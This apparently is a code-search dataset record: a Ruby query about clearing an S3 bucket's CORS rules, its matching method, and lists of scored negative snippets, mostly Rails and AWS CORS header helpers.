"def add_rule request_pb, options:, &block\n request_json = JSON.parse ::Google::Cloud::Compute::V1::AddRuleSecurityPolicyRequest.encode_json(request_pb)\n\n uri = \"/compute/v1/projects/#{request_pb.project}/global/securityPolicies/#{request_pb.security_policy}/addRule\"\n body = request_pb.security_policy_rule_resource.to_json\n\n result_json = @client_stub.make_post_request(\n uri: uri,\n body: body,\n options: options,\n &block\n )\n\n ::Google::Cloud::Compute::V1::Operation.decode_json result_json[:body], { ignore_unknown_fields: true }\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'GET'\n headers['Access-Control-Allow-Headers'] = %w{Origin Accept Content-Type X-Requested-With X-CSRF-Token}.join(',')\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n #headers['Access-Control-Expose-Headers'] = 'ETag'\n headers['Access-Control-Allow-Methods'] = 'GET, POST, PATCH, PUT, DELETE, OPTIONS, HEAD'\n headers['Access-Control-Allow-Headers'] = '*,x-requested-with,Content-Type,If-Modified-Since,If-None-Match'\n #headers['Access-Control-Max-Age'] = '86400'\n end",
"def set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Request-Method'] = '*'\n end",
"def set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = '1000'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = '*'\n end",
"def set_rules(rules)\n return if rules.nil?\n\n @payload = { add: rules }\n @options = {\n headers: {\n \"User-Agent\": 'v2FilteredStreamRuby',\n \"Authorization\": \"Bearer #{@bearer_token}\",\n \"Content-type\": 'application/json'\n },\n body: JSON.dump(@payload)\n }\n @response = Typhoeus.post(@rules_url, @options)\n raise \"An error occurred while adding rules: #{@response.status_message}\" unless @response.success?\nend",
"def apply_custom_rules\n self.json_data = Ocr::CustomRules.new(json_data).apply_all\n end",
"def add_rule request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n uri, body, query_string_params = transcode_add_rule_request request_pb\n response = @client_stub.make_post_request(\n uri: uri,\n body: body,\n params: query_string_params,\n options: options\n )\n result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, response if block_given?\n result\n end",
"def cors_allow_header\n { 'Access-Control-Allow-Origin' => '*' }\n end"
] |
[
"0.7414049",
"0.6685661",
"0.65422535",
"0.6070641",
"0.6028717",
"0.59874594",
"0.59874594",
"0.59874594",
"0.5913772",
"0.58877206",
"0.58877206",
"0.58868223",
"0.58634716",
"0.5840818",
"0.58322746",
"0.58257186",
"0.5822077",
"0.5816516",
"0.58026886",
"0.5795536",
"0.5780258",
"0.576506",
"0.57641983",
"0.57638675",
"0.57638675",
"0.57638675",
"0.57638675",
"0.57638675",
"0.57638675",
"0.57638675",
"0.57638675",
"0.57638675",
"0.57638675",
"0.57638675",
"0.57638675",
"0.57638675",
"0.57638675",
"0.57638675",
"0.57638675",
"0.57638675",
"0.57638675",
"0.57638675",
"0.57638675",
"0.5736587",
"0.5724526",
"0.5724526",
"0.5724526",
"0.57157576",
"0.57117736",
"0.568291",
"0.56773865",
"0.56521964",
"0.5635608",
"0.5633288",
"0.5633288",
"0.5633288",
"0.562508",
"0.5609359",
"0.5605471",
"0.55978316",
"0.5589276",
"0.5589276",
"0.55854344",
"0.555474",
"0.5554114",
"0.5553635",
"0.5553635",
"0.55070525",
"0.55070525",
"0.55070525",
"0.5457697",
"0.54545015",
"0.5448238",
"0.5438884",
"0.541544",
"0.541544",
"0.5383076",
"0.5379408",
"0.53711385",
"0.53664756",
"0.53565365",
"0.5322248",
"0.5315902",
"0.5312332",
"0.53087044",
"0.5302329",
"0.5271071",
"0.52561104",
"0.5242767",
"0.5240939",
"0.521335",
"0.520349",
"0.5200181",
"0.5167359",
"0.51476586",
"0.51473874",
"0.51229066",
"0.50536984",
"0.5046922",
"0.5022386"
] |
0.6110785
|
3
|
Removes all CORS rules attached to this bucket. bucket.cors.count => 3 bucket.cors.clear bucket.cors.count => 0
|
def clear
client.delete_bucket_cors(:bucket_name => bucket.name)
nil
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete_cors\n @bucket_cors.delete\n true\n rescue Aws::Errors::ServiceError => e\n puts \"Couldn't delete CORS rules for #{@bucket_cors.bucket.name}. Here's why: #{e.message}\"\n false\n end",
"def removed_cors\n @aws.cors.rules - (@local.cors || [])\n end",
"def added_cors\n (@local.cors || []) - @aws.cors.rules\n end",
"def bucket_cors_rules(s3_client, bucket_name)\r\n response = s3_client.get_bucket_cors(bucket: bucket_name)\r\n response.cors_rules\r\nrescue StandardError => e\r\n puts \"Error getting CORS rules: #{e.message}\"\r\nend",
"def set_cors(allowed_methods, allowed_origins)\n @bucket_cors.put(\n cors_configuration: {\n cors_rules: [\n {\n allowed_methods: allowed_methods,\n allowed_origins: allowed_origins,\n allowed_headers: %w[*],\n max_age_seconds: 3600\n }\n ]\n }\n )\n true\n rescue Aws::Errors::ServiceError => e\n puts \"Couldn't set CORS rules for #{@bucket_cors.bucket.name}. Here's why: #{e.message}\"\n false\n end",
"def run_me\r\n bucket_name = 'doc-example-bucket'\r\n allowed_methods = %w[GET PUT POST DELETE]\r\n allowed_origins = %w[http://www.example.com]\r\n allowed_headers = %w[*]\r\n expose_headers = %w[x-amz-server-side-encryption x-amz-request-id x-amz-id-2]\r\n max_age_seconds = 3000\r\n region = 'us-west-2'\r\n s3_client = Aws::S3::Client.new(region: region)\r\n\r\n if bucket_cors_rule_set?(\r\n s3_client,\r\n bucket_name,\r\n allowed_methods,\r\n allowed_origins,\r\n allowed_headers,\r\n expose_headers,\r\n max_age_seconds\r\n )\r\n puts 'CORS rule set. Current rules:'\r\n puts bucket_cors_rules(s3_client, bucket_name)\r\n else\r\n puts 'CORS rule not set.'\r\n end\r\nend",
"def get_cors\n @bucket_cors.data\n rescue Aws::Errors::ServiceError => e\n puts \"Couldn't get CORS configuration for #{@bucket_cors.bucket.name}. Here's why: #{e.message}\"\n nil\n end",
"def clear_rules\n cs_delete \"/segments/#{segment_id}/rules.json\", {}\n end",
"def bucket_cors_rule_set?(\r\n s3_client,\r\n bucket_name,\r\n allowed_methods = %w[GET PUT POST DELETE HEAD],\r\n allowed_origins = %w[*],\r\n allowed_headers = nil,\r\n expose_headers = nil,\r\n max_age_seconds = nil\r\n)\r\n methods = []\r\n if allowed_methods.count.zero?\r\n puts 'Error: No CORS methods provided.'\r\n return false\r\n else\r\n allowed_methods.each do |method|\r\n case method.upcase\r\n when 'GET', 'PUT', 'POST', 'DELETE', 'HEAD'\r\n methods.append(method)\r\n else\r\n puts \"Error: '#{method}' is not an allowed CORS method.\"\r\n return false\r\n end\r\n end\r\n end\r\n s3_client.put_bucket_cors(\r\n bucket: bucket_name,\r\n cors_configuration: {\r\n cors_rules: [\r\n {\r\n allowed_headers: allowed_headers,\r\n allowed_methods: methods,\r\n allowed_origins: allowed_origins,\r\n expose_headers: expose_headers,\r\n max_age_seconds: max_age_seconds\r\n }\r\n ]\r\n }\r\n )\r\n return true\r\nrescue StandardError => e\r\n puts \"Error setting CORS methods: #{e.message}\"\r\n return false\r\nend",
"def set *rules\n\n raise ArgumentError, 'expected one or more rules' if rules.empty?\n\n if rules == [[]]\n self.clear\n else\n rules = rule_hashes(rules)\n client.put_bucket_cors(:bucket_name => bucket.name, :rules => rules)\n end\n\n nil\n\n end",
"def cors_allow_all\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n end",
"def clean_remote!\n resp = @connection.get_bucket(\n @storage.bucket, prefix: File.dirname(@remote_path)\n )\n keys = resp.body['Contents'].map {|item| item['Key'] }\n\n @connection.delete_multiple_objects(@storage.bucket, keys) unless keys.empty?\n end",
"def put_bucket_cors(bucket_name, cors)\n data = Fog::AWS::Storage.hash_to_cors(cors)\n\n headers = {}\n headers['Content-MD5'] = Base64.encode64(OpenSSL::Digest::MD5.digest(data)).strip\n headers['Content-Type'] = 'application/json'\n headers['Date'] = Fog::Time.now.to_date_header\n\n request({\n :body => data,\n :expects => 200,\n :headers => headers,\n :bucket_name => bucket_name,\n :method => 'PUT',\n :query => {'cors' => nil}\n })\n end",
"def cors_set_access_control_hdrs\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_set_access_control_hdrs\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_set_access_control_hdrs\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def clear_bucket\n as_name_array.each { |object_to_delete| remove_data(object_to_delete) }\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'PUT, POST, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'PUT, POST, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def clean_remote\n to_delete = remote_assets - local_compiled_assets\n to_delete.each do |f|\n delete_remote_asset(bucket.files.get(f))\n end\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\nheaders['Access-Control-Allow-Origin'] = '*'\nheaders['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\nheaders['Access-Control-Max-Age'] = '1728000'\nend",
"def cors_set_access_control_headers\r\n headers['Access-Control-Allow-Origin'] = '*'\r\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\r\n headers['Access-Control-Max-Age'] = \"1728000\"\r\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n # headers['Access-Control-Allow-Origin'] = 'http://' + request.host\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Headers'] = \"Overwrite, Destination, Content-Type, Depth, User-Agent, X-File-Size, X-Requested-With, If-Modified-Since, X-File-Name, Cache-Control, Content-Length, Accept, Accept-Charset, Accept-Encoding, Referer\";\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors\n\t headers['Access-Control-Allow-Origin'] = '*'\n\t headers['Access-Control-Allow-Methods'] = 'OPTIONS, POST, DELETE, GET, PUT'\n\t headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept'\n\t headers['Access-Control-Max-Age'] = '1728000'\n\tend",
"def clear(url)\n if code_obj = code_object(url)\n @url_bucket.delete code_obj.key\n @code_bucket.delete code_obj.data\n end\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\nend",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\nend",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n\t headers['Access-Control-Allow-Origin'] = '*'\n\t headers['Access-Control-Allow-Methods'] = 'POST,GET,OPTIONS'\n\t headers['Access-Control-Max-Age'] = \"1728000\"\n\t end",
"def clear_headers\n self.headers.delete_if { |k,v| true }\n \"headers cleared\"\n end",
"def cors_set_access_control_headers\n\t headers['Access-Control-Allow-Origin'] = '*'\n\t headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n\t headers['Access-Control-Max-Age'] = \"1728000\"\n\tend",
"def cors_set_access_control_headers\n\t headers['Access-Control-Allow-Origin'] = '*'\n\t headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n\t headers['Access-Control-Max-Age'] = \"1728000\"\n\tend",
"def cors_set_access_control_headers\n\t headers['Access-Control-Allow-Origin'] = '*'\n\t headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n\t headers['Access-Control-Max-Age'] = \"1728000\"\n\tend",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n end",
"def clear_rules\n response = @create_send.delete \"/segments/#{segment_id}/rules.json\", {}\n end",
"def cors_set_access_control_headers\n \t\theaders['Access-Control-Allow-Origin'] = '*'\n \t\theaders['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n \t \theaders['Access-Control-Allow-Headers'] = '*'\n \t\theaders['Access-Control-Request-Method'] = '*',\n\t\theaders['Access-Control-Max-Age'] = \"1728000\"\n\tend",
"def cors_handling\n if request.method == \"OPTIONS\"\n response.headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n response.headers['Access-Control-Allow-Headers'] = '*'\n response.headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"def cors_set_access_control_headers\n \t\theaders['Access-Control-Allow-Origin'] = '*'\n\tend",
"def cors_preflight_check\n logger.debug 'cors_preflight_check'\n\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS,PUT, DELETE'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Origin, Content-Type, Accept, Authorization, Token'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Origin, Content-Type, Accept, Authorization, Token'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Origin, Content-Type, Accept, Authorization, Token'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Origin, Content-Type, Accept, Authorization, Token'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def set_cors_headers\n if request.headers[\"HTTP_ORIGIN\"]\n # better way check origin\n # if request.headers[\"HTTP_ORIGIN\"] && /^https?:\\/\\/(.*)\\.some\\.site\\.com$/i.match(request.headers[\"HTTP_ORIGIN\"])\n headers['Access-Control-Allow-Origin'] = request.headers[\"HTTP_ORIGIN\"]\n headers['Access-Control-Expose-Headers'] = 'ETag'\n headers['Access-Control-Allow-Methods'] = 'GET, POST, PATCH, PUT, DELETE, OPTIONS, HEAD'\n headers['Access-Control-Allow-Headers'] = '*,x-requested-with,Content-Type,If-Modified-Since,If-None-Match,Auth-User-Token'\n headers['Access-Control-Max-Age'] = '86400'\n headers['Access-Control-Allow-Credentials'] = 'true'\n end\n end",
"def cors_set_access_control_headers\n log_origin_access # TODO: Disable logging for GoLive. Log only requests for api-clients #41\n headers['Access-Control-Allow-Origin'] = allowed_client_origins\n headers['Access-Control-Allow-Methods'] = allowed_client_methods\n headers['Access-Control-Allow-Headers'] = allowed_headers\n headers['Access-Control-Max-Age'] = allowed_max_age\n end",
"def cors_set_access_control_headers\n\t\theaders['Access-Control-Allow-Origin'] = '*'\n\t\theaders['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n\t\theaders['Access-Control-Allow-Headers'] = 'Origin, Content-Type, Accept, Authorization, Token'\n\t\theaders['Access-Control-Max-Age'] = \"1728000\"\n\tend",
"def disconnect_s3\n\t\t\t@s3 = nil\n\t\t\t@medectomy_bucket = nil\n\t\tend",
"def cors\n headers[\"Access-Control-Allow-Origin\"] = \"*\"\n headers['Access-Control-Request-Method'] = \"*\"\n headers[\"Access-Control-Allow-Methods\"] = %w{GET POST PUT DELETE OPTIONS}.join(\",\")\n headers[\"Access-Control-Allow-Headers\"] = %w{Origin Accept Content-Type X-Requested-With X-CSRF-Token}.join(\",\")\n if request.method == 'OPTIONS'\n head(:ok)\n end\n end",
"def cleanup!\n @s3_bucket.objects.each do |obj|\n if !@files.include? \"#{@folder_path}/#{obj.key}\"\n puts \"Deleting #{obj.key}\"\n obj.delete\n end\n end\n end",
"def cleanup!\n @s3_bucket.objects.each do |obj|\n if !@files.include? \"#{@folder_path}/#{obj.key}\"\n puts \"Deleting #{obj.key}\"\n obj.delete\n end\n end\n end",
"def clear_all\n clear\n clear_stored_requests\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Max-Age'] = \"1728000\"\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS, PATCH'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization' \n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*' \n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Content-Type'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def clear_headers\n headers.clear # Yes, this returns an empty hash not nil\n end",
"def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'PUT, POST, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'PUT, POST, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Origin, Content-Type, Accept, Authorization, Token, Access-Token, locale, authorization'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def remove_cassettes\n VCR.remove_cassettes\n end",
"def remove!\n basename = File.basename(public_url)\n o = s3_bucket.objects[\"#{asset_path}#{basename}\"]\n o.delete\n end",
"def remove!\n basename = File.basename(public_url)\n o = s3_bucket.objects[\"#{asset_path}#{basename}\"]\n o.delete\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Origin, Content-Type, Accept, Authorization, Token'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Expose-Headers'] = 'ETag'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = '*,x-requested-with,Content-Type,If-Modified-Since,If-None-Match,Auth-User-Token'\n headers['Access-Control-Allow-Credentials'] = 'true'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Expose-Headers'] = 'ETag'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = '*,x-requested-with,Content-Type,If-Modified-Since,If-None-Match,Auth-User-Token'\n headers['Access-Control-Allow-Credentials'] = 'true'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Headers'] = 'X-AUTH-TOKEN, X-API-VERSION, X-Requested-With, Content-Type, Accept, Origin'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Headers'] = 'X-AUTH-TOKEN, X-API-VERSION, X-Requested-With, Content-Type, Accept, Origin'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Headers'] = 'X-AUTH-TOKEN, X-API-VERSION, X-Requested-With, Content-Type, Accept, Origin'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def clear_urls\n result = @client[URLS_COLLECTION].delete_many({})\n result.n\n ensure\n @last_result = result\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization, X-CSRF-Token'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version, Authorization, Content-Type'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def options\n response_headers = {\n 'Access-Control-Allow-Methods' => 'POST, GET, PUT, OPTIONS, DELETE',\n 'Access-Control-Allow-Headers' => 'Content-Type',\n 'Access-Control-Max-Age' => '86400'\n }\n\n [204, response_headers.merge(cors_allow_header), []]\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = %w{Origin Accept Content-Type X-Requested-With X-CSRF-Token}.join(',')\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end"
] |
[
"0.7843477",
"0.75620306",
"0.6479524",
"0.6401524",
"0.6287629",
"0.58730346",
"0.57741576",
"0.577237",
"0.5769519",
"0.57166946",
"0.5590231",
"0.55848",
"0.5551601",
"0.5487881",
"0.5487881",
"0.5487881",
"0.54851735",
"0.54374814",
"0.54336375",
